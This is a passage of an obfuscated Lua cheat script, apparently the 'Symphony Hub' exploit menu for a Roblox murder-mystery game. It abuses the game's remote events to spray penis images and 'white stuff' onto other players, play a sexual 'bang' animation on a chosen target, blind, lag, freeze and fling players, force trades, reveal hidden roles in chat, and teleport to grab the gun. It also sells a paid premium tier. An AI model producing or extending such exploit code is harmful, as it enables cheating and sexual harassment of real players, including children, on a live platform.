z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Bottom, 6, j, Y * CFrame.new(0, -2, 0))
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Top, 6, j, Y * CFrame.new(0, -3, 0))
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Front, 6, j, Y * CFrame.new(0, .1, 3.1))
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Back, 6, j, Y * CFrame.new(0, .1, 2.86))
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Front, 6, j, Y * CFrame.new(0, .1, -2))
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Back, 6, j, Y * CFrame.new(0, .1, -3))
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Right, 6, j, Y * CFrame.new(2.86, .1, 0))
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Left, 6, j, Y * CFrame.new(3.1, .1, 0))
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Right, 6, j, Y * CFrame.new(-3, .1, 0))
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Left, 6, j, Y * CFrame.new(-2, .1, 0))
end
end)
wK:CreateTextbox("Customize Box Image ID", function(o)
N.BoxSprayId = tonumber(o) or 14787385911
end)
yK(wK, "Penis", 15, function(o, Y)
local j = h(Y)
if j then
xK(o, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, j, j.CFrame * CFrame.new(-1, -1, -1))
xK(o, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, j, j.CFrame * CFrame.new(1, -1, -1))
xK(o, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, j, j.CFrame * CFrame.new(0, -1, -1))
xK(o, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, j, j.CFrame * CFrame.new(0, -1, -2))
xK(o, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, j, j.CFrame * CFrame.new(0, -1, -3))
xK(o, 17621332813, j, j.CFrame * CFrame.new(0, -1, -4))
end
end)
yK(wK, "Back Penis", 15, function(o, Y)
local j = h(Y)
if j then
xK(o, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, j, j.CFrame * CFrame.new(-1, -1, 4.5))
xK(o, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, j, j.CFrame * CFrame.new(1, -1, 4.5))
xK(o, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, j, j.CFrame * CFrame.new(0, -1, 4.5))
xK(o, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, j, j.CFrame * CFrame.new(0, -1, 3.5))
xK(o, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, j, j.CFrame * CFrame.new(0, -1, 2.5))
xK(o, 17621332813, j, j.CFrame * CFrame.new(0, -1, 1.5))
end
end)
wK:CreateDropdown("Penis Color", {
"White",
"Black"
}, function(o)
N.PenisColor = o
end)
yK(wK, "Give White Stuff", 15, function(o, Y)
for Y, j in pairs(Y.Character:GetChildren()) do
if j:IsA("BasePart") then
z.Event(o.Remote, 17593649425, Enum.NormalId.Left, 2, j, j.CFrame * CFrame.new(math.random(0, 1.5), math.random(0, 1.5), math.random(0, 1.5)))
z.Event(o.Remote, 17593649425, Enum.NormalId.Right, 2, j, j.CFrame * CFrame.new(math.random(0, 1.5), math.random(0, 1.5), math.random(0, 1.5)))
z.Event(o.Remote, 17593649425, Enum.NormalId.Front, 2, j, j.CFrame * CFrame.new(math.random(0, 1.5), math.random(0, 1.5), math.random(0, 1.5)))
end
end
end)
yK(wK, "Blind", 15, function(o, Y)
local j = h(Y)
if j then
for Y = 1, 5, 1 do
z.Event(o.Remote, 14787385911, Enum.NormalId.Left, 55, j, j.CFrame * CFrame.new(0, 5 - 5 * (Y - 1), 0))
z.Event(o.Remote, 14787385911, Enum.NormalId.Right, 55, j, j.CFrame * CFrame.new(0, 5 - 5 * (Y - 1), 0))
z.Event(o.Remote, 14787385911, Enum.NormalId.Top, 55, j, j.CFrame * CFrame.new(0, 5 - 5 * (Y - 1), 0))
z.Event(o.Remote, 14787385911, Enum.NormalId.Bottom, 55, j, j.CFrame * CFrame.new(0, 5 - 5 * (Y - 1), 0))
z.Event(o.Remote, 14787385911, Enum.NormalId.Back, 55, j, j.CFrame * CFrame.new(0, 5 - 5 * (Y - 1), 0))
z.Event(o.Remote, 14787385911, Enum.NormalId.Front, 55, j, j.CFrame * CFrame.new(0, 5 - 5 * (Y - 1), 0))
end
end
end)
yK(wK, "Lag", 15, function(o, Y)
local j = h(Y)
if j then
for Y = 1, 250, 1 do
z.Event(o.Remote, 0, Enum.NormalId.Right, 2048, j, j.CFrame)
end
end
end)
yK(wK, "Freeze", 15, function(o, Y)
local j = Y.Character:FindFirstChild("LeftLowerArm")
if j then
for Y = 1, 30, 1 do
z.Event(o.Remote, 0, Enum.NormalId.Top, 2048, j, j.CFrame)
end
end
end)
yK(wK, "Knock Up", 15, function(o, Y)
local j = Y.Character:FindFirstChild("LeftLowerArm")
local Z = Y.Character:FindFirstChild("RightLowerArm")
if j and Z then
for Y = 1, 50, 1 do
z.Event(o.Remote, 0, Enum.NormalId.Top, 2048, Z, Z.CFrame)
end
for Y = 1, 50, 1 do
z.Event(o.Remote, 0, Enum.NormalId.Top, 2048, j, j.CFrame)
end
end
end)
yK(wK, "Old Germany Flag", 15, MK)
yK(wK, "Reset", .25, function(o, Y)
local j = h(Y)
if j then
z.Event(o.Remote, 0, Enum.NormalId.Right, 10, j, CFrame.new(0, - math.huge, 0))
end
end)
yK(wK, "Glitch", 5, function(o, Y)
local j = h(Y)
if j then
for Y = 1, 150, 1 do
z.Event(o.Remote, 0, Enum.NormalId.Right, 10, j, j.CFrame)
end
end
end)
yK(wK, "Yeet", 15, function(o, Y)
local j = h(Y)
if j then
for Y = 1, 5, 1 do
z.Event(o.Remote, 0, Enum.NormalId.Right, 999999, j, CFrame.new(99999, 99999, 99999))
end
end
end)
wK:CreateToggle("Infinite Spray Size", function(o)
N.InfiniteSpraySize = o
end)
wK:CreateToggle("Infinite Spray Range", function(o)
if o then
x:MakeTask("Infinite Spray Range", G.RenderStepped, function()
if D and (D.Character and D.Character:FindFirstChild("SprayPaint")) then
(getsenv(D.Character.SprayPaint.Client)).range = math.huge
end
end)
else
x:RemoveTask("Infinite Spray Range")
if D and (D.Character and D.Character:FindFirstChild("SprayPaint")) then
(getsenv(D.Character.SprayPaint.Client)).range = 5
end
end
end)
wK:CreateToggle("No Spray Cooldown", function(o)
if o then
x:MakeTask("No Spray Cooldown", G.RenderStepped, function()
if D and (D.Character and D.Character:FindFirstChild("SprayPaint")) then
(getsenv(D.Character.SprayPaint.Client)).cooldown = 0;
(getsenv(D.Character.SprayPaint.Client)).check = true
end
end)
else
x:RemoveTask("No Spray Cooldown")
if D and (D.Character and D.Character:FindFirstChild("SprayPaint")) then
(getsenv(D.Character.SprayPaint.Client)).cooldown = 9;
(getsenv(D.Character.SprayPaint.Client)).check = true
end
end
end)
wK:CreateSection("Advanced")
wK:CreateToggle("Loop Sound", function(o)
N.LoopSound = o
if o then
(coroutine.wrap(function()
while N.LoopSound do
task.wait(.25)
for o, Y in pairs(workspace:GetDescendants()) do
if Y:IsA("Sound") then
Y:Play()
end
end
end
end))()
end
end)
wK:CreateToggle("Swim", function(o)
N.Swim = o
if o then
local o = Enum.HumanoidStateType:GetEnumItems()
table.remove(o, table.find(o, Enum.HumanoidStateType.None))
for o, Y in pairs(o) do
D.Character.Humanoid:SetStateEnabled(Y, false)
end
D.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
x:MakeTask("Swim Died", D.Character.Humanoid.Died, function()
pcall(function()
if N.SwimBeat then
N.SwimBeat:Disconnect()
N.SwimDied:Disconnect()
end
end)
end)
x:MakeTask("Swim Beat", G.Stepped, function()
pcall(function()
D.Character.HumanoidRootPart.Velocity = (D.Character.Humanoid.MoveDirection ~= Vector3.new() or t:IsKeyDown(Enum.KeyCode.Space)) and (h(D)).Velocity or Vector3.new()
end)
end)
else
pcall(function()
x:RemoveTask("Swim Died")
x:RemoveTask("Swim Beat")
local o = Enum.HumanoidStateType:GetEnumItems()
table.remove(o, table.find(o, Enum.HumanoidStateType.None))
for o, Y in pairs(o) do
D.Character.Humanoid:SetStateEnabled(Y, true)
end
end)
end
end)
wK:CreateToggle("Bang Player", function(o)
N.Bang = o
if o then
N.BangAnim = Instance.new("Animation")
N.BangAnim.AnimationId = "rbxassetid://\053\057\049\056\055\050\054\054\055\052"
N.Bang = D.Character.Humanoid:LoadAnimation(N.BangAnim)
N.Bang:Play(.1, 1, 1)
N.Bang:AdjustSpeed(10)
x:MakeTask("Bang Died", D.Character.Humanoid.Died, function()
x:RemoveTask("Bang Died")
x:RemoveTask("Bang Beat")
end)
x:MakeTask("Bang Beat", G.Stepped, function()
pcall(function()
if N.BangPlayer ~= "" then
m(D, "CFrame", (h(N.BangPlayer)).CFrame * CFrame.new(0, 0, 1.1))
end
end)
end)
else
pcall(function()
x:RemoveTask("Bang Died")
x:RemoveTask("Bang Beat")
N.Bang:Stop()
N.BangAnim:Destroy()
end)
end
end)
wK:CreatePlayerDropdown("Select Player", function(o)
N.BangPlayer = o
end)
wK:CreateToggle("Force Trade", function(o)
N.ForceTrade = o
if o then
(coroutine.wrap(function()
while N.ForceTrade do
task.wait(.25)
pcall(function()
z.Event(A.Trade.AcceptRequest)
end)
end
return coroutine.yield("...")
end))()
end
end)
wK:CreateToggle("Fake Lag", function(o)
N.FakeLag = o
if o then
(coroutine.wrap(function()
while N.FakeLag do
task.wait(1)
pcall(function()
if D and (D.Character and D.Character.Humanoid) then
local o = h(D)
o.Anchored = true
task.wait(1)
o.Anchored = false
end
end)
end
end))()
end
end)
wK:CreateSection("Admin Commands")
wK:CreateLabel("Spray Paint:")
wK:CreateLabel("[+] //reset [player]")
wK:CreateLabel("[+] //box [player]")
wK:CreateLabel("[+] //spoofrole [player]")
wK:CreateLabel("[+] //blind [player]")
wK:CreateLabel("[+] //slickback [player]")
wK:CreateLabel("[+] //pp [player]")
wK:CreateLabel("[+] //backpp [player]")
wK:CreateLabel("[+] //floorclip [player]")
wK:CreateLabel("[+] //lag [player]")
wK:CreateLabel("[+] //freeze [player]")
wK:CreateLabel("[+] //knockup [player]")
wK:CreateLabel("[+] //camerashake [player]")
wK:CreateLabel("[+] //hallow [player]")
wK:CreateLabel("[+] //glitch [player]")
wK:CreateLabel("[+] //yeet [player]")
wK:CreateLabel("[+] //blacklobby")
wK:CreateLabel("[+] //stealgun")
wK:CreateLabel("Casual:")
wK:CreateLabel("[+] //tp [player]")
wK:CreateLabel("[+] //breakgun")
wK:CreateLabel("[+] //blurtroles")
wK:CreateLabel("[+] //trap")
wK:CreateLabel("Sheriff:")
wK:CreateLabel("[+] //shootmurderer")
wK:CreateLabel("Murderer:")
wK:CreateLabel("[+] //kill [player]")
wK:CreateParagraph("Admin Cmd!", "the target can do all or others.")
else
local o = J:JSONDecode(w("https://apis.roblox.com/game-passes/v\049/game-passes/\050\050\055\051\057\056\048\052/product-info"))
wK:CreateSection("Premium Member")
wK:CreateLabel("Be a Symphony Hub <font color=\"rgb(\048, \048, \050\053\053)\">Premium</font> <u>Member</u>!")
wK:CreateButton("Buy Premium for <font color=\"rgb(\048, \050\053\053, \048)\">" .. (o.PriceInRobux .. " Robux</font>"), function()
local o, Y = pcall(function()
MarketplaceService:PromptGamePassPurchase(D, 22739804)
end)
if Y and not o then
s("https://web.roblox.com/game-pass/\050\050\055\051\057\056\048\052/Symphony-Hub-Premium")
I("<font color=\"rgb(\050\053\053, \048, \048)\">Failed</font> to callback the prompt, buy it on website instead | Copied to Clipboard")
end
end)
wK:CreateLabel("Not Working?")
wK:CreateButton("Copy Link Our Official site", function()
s("https://symphonyhub.odoo.com")
end)
end
local ox = PK:CreateLabel("Murderer is: " .. q.Murderer)
local Yx = PK:CreateLabel("Sheriff is: " .. q.Sheriff)
local jx = PK:CreateLabel("Gun Status: <font color=\"rgb(\050\053\053, \048, \048)\">Not Dropped</font>")
PK:CreateButton("Grab Gun", function()
local o = workspace:FindFirstChild("GunDrop")
if o and l(D) then
if q.Murderer ~= g then
task.spawn(function()
if not x:GetValue("Grabbing") then
local Y = (h(D)).CFrame
x:SetValue("Grabbing", true)
x:MakeTask("Grab Gun", G.Heartbeat, function()
if x:GetValue("Grabbing") then
m(D, "CFrame", o.CFrame)
D.Character.Humanoid.PlatformStand = false
end
end)
repeat
task.wait()
until not workspace:FindFirstChild("GunDrop")
x:RemoveTask("Grab Gun")
m(D, "CFrame", Y)
x:SetNil("Grabbing")
D.Character.Humanoid.PlatformStand = false
D.Character.Humanoid:ChangeState(1)
end
end)
end
elseif o and not l(D) then
B("You can\'t get the gun because you\'re not in the game")
elseif not o ~= nil then
B("The gun didn\'t dropped yet")
end
end)
PK:CreateKeybind("Grab Gun", Enum.KeyCode.G, function()
local o = workspace:FindFirstChild("GunDrop")
if o and l(D) then
if q.Murderer ~= g then
task.spawn(function()
if not x:GetValue("Grabbing") then
local Y = (h(D)).CFrame
x:SetValue("Grabbing", true)
x:MakeTask("Grab Gun", G.Heartbeat, function()
if x:GetValue("Grabbing") then
m(D, "CFrame", o.CFrame)
D.Character.Humanoid.PlatformStand = false
end
end)
repeat
task.wait()
until not workspace:FindFirstChild("GunDrop")
x:RemoveTask("Grab Gun")
m(D, "CFrame", Y)
x:SetNil("Grabbing")
D.Character.Humanoid.PlatformStand = false
D.Character.Humanoid:ChangeState(1)
end
end)
end
elseif o and not l(D) then
B("You can\'t get the gun because you\'re not in the game")
elseif not o ~= nil then
B("The gun didn\'t dropped yet")
end
end)
PK:CreateToggle("Enable Grab Gun Bindable Button", function(o)
if o then
UK("Grab Gun", {
OriginalName = "Grab Gun",
Position = UDim2.new(1, -500, 0, -190);
Callback = function()
local o = workspace:FindFirstChild("GunDrop")
if o and l(D) then
if q.Murderer ~= g then
task.spawn(function()
if not x:GetValue("Grabbing") then
local Y = (h(D)).CFrame
x:SetValue("Grabbing", true)
x:MakeTask("Grab Gun", G.Heartbeat, function()
if x:GetValue("Grabbing") then
m(D, "CFrame", o.CFrame)
D.Character.Humanoid.PlatformStand = false
end
end)
repeat
task.wait()
until not workspace:FindFirstChild("GunDrop")
x:RemoveTask("Grab Gun")
m(D, "CFrame", Y)
x:SetNil("Grabbing")
D.Character.Humanoid.PlatformStand = false
D.Character.Humanoid:ChangeState(1)
end
end)
end
elseif o and not l(D) then
B("You can\'t get the gun because you\'re not in the game")
elseif not o ~= nil then
B("The gun didn\'t dropped yet")
end
end
})
else
rK("Grab Gun")
end
end)
PK:CreateToggle("Auto Grab Gun", function(o)
N.AutoGrabGun = o
if o then
task.spawn(function()
(coroutine.wrap(function()
while N.AutoGrabGun do
task.wait(.25)
pcall(function()
local o = workspace:FindFirstChild("GunDrop")
local Y = V(q.Murderer)
if Y ~= nil and (l(Y) and Y.Name ~= g) then
local j = ((h(Y)).Position - o.CFrame.Position).Magnitude
if o and (l(D) and j > 10) then
if not x:GetValue("Grabbing") then
local Y = (h(D)).CFrame
x:SetValue("Grabbing", true)
x:MakeTask("Grab Gun", G.Heartbeat, function()
if x:GetValue("Grabbing") then
m(D, "CFrame", o.CFrame)
D.Character.Humanoid.PlatformStand = false
end
end)
repeat
task.wait()
until not workspace:FindFirstChild("GunDrop")
x:RemoveTask("Grab Gun")
m(D, "CFrame", Y)
x:SetNil("Grabbing")
D.Character.Humanoid.PlatformStand = false
D.Character.Humanoid:ChangeState(1)
end
end
end
end)
end
return coroutine.yield("...")
end))()
end)
end
end)
PK:CreateParagraph("Auto Grab Gun!", "will not trigger, if the murderer was camping the gun")
PK:CreateSection("Blurt/Expose")
PK:CreateButton("Blurt Roles", function()
for Y, j in pairs(R) do
if j.Role == "Murderer" or j.Role == "Sheriff" or j.Role == "Hero" then
z.Event(o, j.Role .. (" is: " .. Y), N.AlwaysAliveChat and "alive" or "normalchat")
end
end
end)
PK:CreateToggle("Auto Blurt Roles", function(Y)
if Y then
N.RoleStates["Auto Blurt Roles"] = function()
for Y, j in pairs(R) do
if j.Role == "Murderer" or j.Role == "Sheriff" or j.Role == "Hero" then
z.Event(o, j.Role .. (" is: " .. Y), N.AlwaysAliveChat and "alive" or "normalchat")
end
end
end
else
N.RoleStates["Auto Blurt Roles"] = nil
end
end)
PK:CreateButton("Blurt Murderer\'s Perk", function()
if q.Murderer ~= "" then
z.Event(o, q.Murderer .. (" is currently using " .. (R[q.Murderer].Effect .. " Perk")), N.AlwaysAliveChat and "alive" or "normalchat")
end
end)
PK:CreateToggle("Auto Blurt Murderer\'s Perk", function(Y)
if Y then
N.RoleStates["Auto Blurt Murderer\'s Perk"] = function()
for Y, j in pairs(R) do
if j.Role == "Murderer" then
z.Event(o, Y .. (" is currently using " .. (j.Effect .. " Perk")), N.AlwaysAliveChat and "alive" or "normalchat")
end
end
end
else
N.RoleStates["Auto Blurt Murderer\'s Perk"] = nil
end
end)
PK:CreateSection("Spectate")
PK:CreateButton("Spectate Murderer", function()
local o = V(q.Murderer)
if l(o) then
EK(o.Character)
end
end)
PK:CreateButton("Spectate Sheriff", function()
local o = V(q.Sheriff)
if l(o) then
EK(o.Character)
end
end)
PK:CreateButton("Spectate Gun Drop", function()
local o = workspace:FindFirstChild("GunDrop")
if o ~= nil then
EK(o)
else
B("The gun didn\'t dropped yet")
end
end)
PK:CreatePlayerDropdown("Spectate Player", function(o)
EK(o.Character)
end)
PK:CreateButton("Unspectate", function()
EK(D.Character)
end)
PK:CreateToggle("Toggle Circle Cursor", function(o)
M.Visible = o
if o then
x:MakeTask("Circle Cursor", G.Stepped, function()
M.Position = Vector2.new(e.X, e.Y - 5.5)
end)
else
x:RemoveTask("Circle Cursor")
end
end)
PK:CreateButton("Remove Barriers", function()
for o, Y in pairs(workspace:GetDescendants()) do
if Y.Name == "GlitchProof" then
Y:Destroy()
end
end
end)
PK:CreateToggle("Remove Knife Effects &\n<font color=\"rgb(\050\053\053, \048, \048)\">C</font><font color=\"rgb(\048, \050\053\053, \048)\">h</font><font color=\"rgb(\048, \048, \050\053\053)\">r</font><font color=\"rgb(\050\053\053, \048, \048)\">o</font><font color=\"rgb(\048, \050\053\053, \048)\">m</font><font color=\"rgb(\048, \048, \050\053\053)\">a</font> Glowing Animation", function(o)
if o then
x:MakeTask("Remove Knife Effects & Chroma Glowing Animation", G.RenderStepped, function()
for o, Y in pairs(O:GetPlayers()) do
pcall(function()
for o, Y in pairs(Y.Character.KnifeDisplay:GetDescendants()) do
if Y.Name ~= "Attachment" and (Y.Name ~= "CustomAttachment" and (Y.Name ~= "RigidConstraint" and Y.Name ~= "Mesh")) or Y.Name == "Chroma" then
Y:Destroy()
end
end
if q.Murderer == Y.Name then
local o = Y.Character:FindFirstChild("Knife")
local j = o and o.Handle:FindFirstChild("Chroma")
if j then
j:Destroy()
end
elseif q.Sheriff == Y.Name then
local o = Y.Character:FindFirstChild("Gun")
local j = o and o.Handle:FindFirstChild("Chroma")
if j then
j:Destroy()
end
end
end)
end
end)
else
x:RemoveTask("Remove Knife Effects & Chroma Glowing Animation")
end
end)
PK:CreateToggle("Optimize Coins", function(o)
if o then
x:MakeTask("Optimize Coins", G.Stepped, function()
local o = ZK()
if o then
pcall(function()
for o, Y in pairs(o.CoinContainer:GetChildren()) do
if Y.Name == "Coin_Server" then
if Y.CoinVisual:FindFirstChild("MainCoin") and Y.CoinVisual.MainCoin.Transparency == 1 or not Y.CoinVisual:FindFirstChild("MainCoin") and Y.CoinVisual.Transparency == 1 then
Y:Destroy()
end
end
end
end)
end
end)
else
x:RemoveTask("Optimize Coins")
end
end)
PK:CreateToggle("Loop Interactive", function(o)
N.LoopInteractive = o
if o then
(coroutine.wrap(function()
while N.LoopInteractive do
task.wait(.25)
local o = ZK()
if o then
for o, Y in pairs(o:GetDescendants()) do
if Y.Name == "Interact" and Y:IsA("RemoteEvent") then
z.Event(Y)
end
end
end
end
end))()
end
end)
PK:CreateButton("Get XBox Knife", function()
if A.Remotes.Extras and A.Remotes.Extras.IsXbox then
z.Event(A.Remotes.Extras.IsXbox)
end
end)
PK:CreateToggle("Auto Prestige", function(o)
if o then
x:MakeTask("Auto Prestige", G.RenderStepped, function()
z.Event(A.Remotes.Inventory.Prestige)
end)
else
x:RemoveTask("Auto Prestige")
end
end)
PK:CreateButton("Prestige", function()
z.Event(A.Remotes.Inventory.Prestige)
end)
G.RenderStepped:Connect(function()
pcall(function()
local o = V(q.Murderer)
local Y = V(q.Sheriff)
if l(o) then
ox:Update("Murderer is: <font color=\"rgb(\050\053\053, \048, \048)\">" .. (q.Murderer .. "</font>"))
else
ox:Update("Murderer is: <font color=\"rgb(\049\048\052, \049\048\052, \049\048\052)\">None Detected</font>")
end
if l(Y) then
if q.Hero then
Yx:Update("Hero is: <font color=\"rgb(\048, \050\053\053, \048)\">" .. (q.Sheriff .. "</font>"))
else
Yx:Update("Sheriff is: <font color=\"rgb(\048, \048, \050\053\053)\">" .. (q.Sheriff .. "</font>"))
end
else
Yx:Update("Sheriff is: <font color=\"rgb(\049\048\052, \049\048\052, \049\048\052)\">None Detected</font>")
end
end)
end)
G.RenderStepped:Connect(function()
local o = workspace:FindFirstChild("GunDrop")
if o then
jx:Update("Gun Status: <font color=\"rgb(\048, \050\053\053, \048)\">Dropped</font>")
else
jx:Update("Gun Status: <font color=\"#ff\048\048\048\048\">Not Dropped</font>")
end
end)
pK:CreateParagraph("Blocks", "Every blocks you placed have collision but only for you except for others.")
for o, Y in pairs(Q) do
pK:CreateButton("Place " .. (o .. " Block"), function()
sK(function(o)
local j = h(D)
if j then
j = j.CFrame
fK(o, Y, CFrame.new(j.X, j.Y - 3, j.Z))
end
end)
end)
end
pK:CreateSection("Buildings")
pK:CreateButton("Place Nether Portal", function()
sK(function(o)
local Y = h(D)
if Y then
Y = Y.CFrame
local j, Z, t = Y.X, Y.Y - 3, Y.Z
for Y = 1, 3, 1 do
fK(o, Q.Obsidian, CFrame.new(j + 3.5 * (Y - 1), Z, t + 7))
end
for Y = 1, 2, 1 do
fK(o, Q.Obsidian, CFrame.new(j - 3.5 * Y, Z, t + 7))
end
for Y = 1, 4, 1 do
fK(o, Q.Obsidian, CFrame.new(j + 7, Z + 3.5 * Y, t + 7))
end
for Y = 1, 4, 1 do
fK(o, Q.Obsidian, CFrame.new(j - 7, Z + 3.5 * Y, t + 7))
end
fK(o, Q.Obsidian, CFrame.new(j + 3.5, Z + 14, t + 7))
fK(o, Q.Obsidian, CFrame.new(j, Z + 14, t + 7))
fK(o, Q.Obsidian, CFrame.new(j - 3.5, Z + 14, t + 7))
for Y = 1, 3, 1 do
aK(o, Q.Portal, CFrame.new(j + 3.5, Z + 3.5 * Y, t + 7))
aK(o, Q.Portal, CFrame.new(j, Z + 3.5 * Y, t + 7))
aK(o, Q.Portal, CFrame.new(j - 3.5, Z + 3.5 * Y, t + 7))
end
end
end)
end)
pK:CreateButton("Place Aether Portal", function()
sK(function(o)
local Y = h(D)
if Y then
Y = Y.CFrame
local j, Z, t = Y.X, Y.Y - 3, Y.Z
for Y = 1, 3, 1 do
fK(o, Q.Glowstone, CFrame.new(j + 3.5 * (Y - 1), Z, t + 7))
end
for Y = 1, 2, 1 do
fK(o, Q.Glowstone, CFrame.new(j - 3.5 * Y, Z, t + 7))
end
for Y = 1, 4, 1 do
fK(o, Q.Glowstone, CFrame.new(j + 7, Z + 3.5 * Y, t + 7))
end
for Y = 1, 4, 1 do
fK(o, Q.Glowstone, CFrame.new(j - 7, Z + 3.5 * Y, t + 7))
end
fK(o, Q.Glowstone, CFrame.new(j + 3.5, Z + 14, t + 7))
fK(o, Q.Glowstone, CFrame.new(j, Z + 14, t + 7))
fK(o, Q.Glowstone, CFrame.new(j - 3.5, Z + 14, t + 7))
for Y = 1, 3, 1 do
aK(o, Q.Portal, CFrame.new(j + 3.5, Z + 3.5 * Y, t + 7))
aK(o, Q.Portal, CFrame.new(j, Z + 3.5 * Y, t + 7))
aK(o, Q.Portal, CFrame.new(j - 3.5, Z + 3.5 * Y, t + 7))
end
end
end)
end)
pK:CreateButton("Place Basic Villager House", function()
sK(function(o)
local Y = h(D)
if Y then
Y = Y.CFrame
local j, Z, t = Y.X, Y.Y - 3, Y.Z
fK(o, Q.Cobblestone, CFrame.new(j - 7, Z, t + 7))
fK(o, Q.Cobblestone, CFrame.new(j - 7, Z, t + 3.5))
fK(o, Q.Cobblestone, CFrame.new(j - 7, Z, t))
fK(o, Q.Cobblestone, CFrame.new(j - 7, Z, t - 3.5))
fK(o, Q.Cobblestone, CFrame.new(j - 7, Z, t - 7))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z, t + 7))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z, t + 3.5))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z, t))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z, t - 3.5))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z, t - 7))
fK(o, Q.Cobblestone, CFrame.new(j, Z, t + 7))
fK(o, Q.Cobblestone, CFrame.new(j, Z, t + 3.5))
fK(o, Q.Cobblestone, CFrame.new(j, Z, t))
fK(o, Q.Cobblestone, CFrame.new(j, Z, t - 3.5))
fK(o, Q.Cobblestone, CFrame.new(j, Z, t - 7))
fK(o, Q.Cobblestone, CFrame.new(j + 7, Z, t + 7))
fK(o, Q.Cobblestone, CFrame.new(j + 7, Z, t + 3.5))
fK(o, Q.Cobblestone, CFrame.new(j + 7, Z, t))
fK(o, Q.Cobblestone, CFrame.new(j + 7, Z, t - 3.5))
fK(o, Q.Cobblestone, CFrame.new(j + 7, Z, t - 7))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z, t + 7))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z, t + 3.5))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z, t))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z, t - 3.5))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 3.5, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 3.5, t + 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 3.5, t))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 3.5, t - 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 3.5, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 3.5, Z + 3.5, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 3.5, Z + 3.5, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j, Z + 3.5, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 3.5, Z + 3.5, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 3.5, Z + 3.5, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 3.5, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 3.5, t + 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 3.5, t))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 3.5, t - 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 3.5, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 7, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 7, t + 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 7, t - 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 7, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 3.5, Z + 7, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 3.5, Z + 7, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 3.5, Z + 7, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 3.5, Z + 7, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 7, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 7, t + 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 7, t - 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 7, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 10.5, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 10.5, t + 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 10.5, t))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 10.5, t - 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j - 7, Z + 10.5, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 3.5, Z + 10.5, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j - 3.5, Z + 10.5, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j, Z + 10.5, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j, Z + 10.5, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 3.5, Z + 10.5, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j, Z + 10.5, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 3.5, Z + 10.5, t - 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 10.5, t + 7))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 10.5, t + 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 10.5, t))
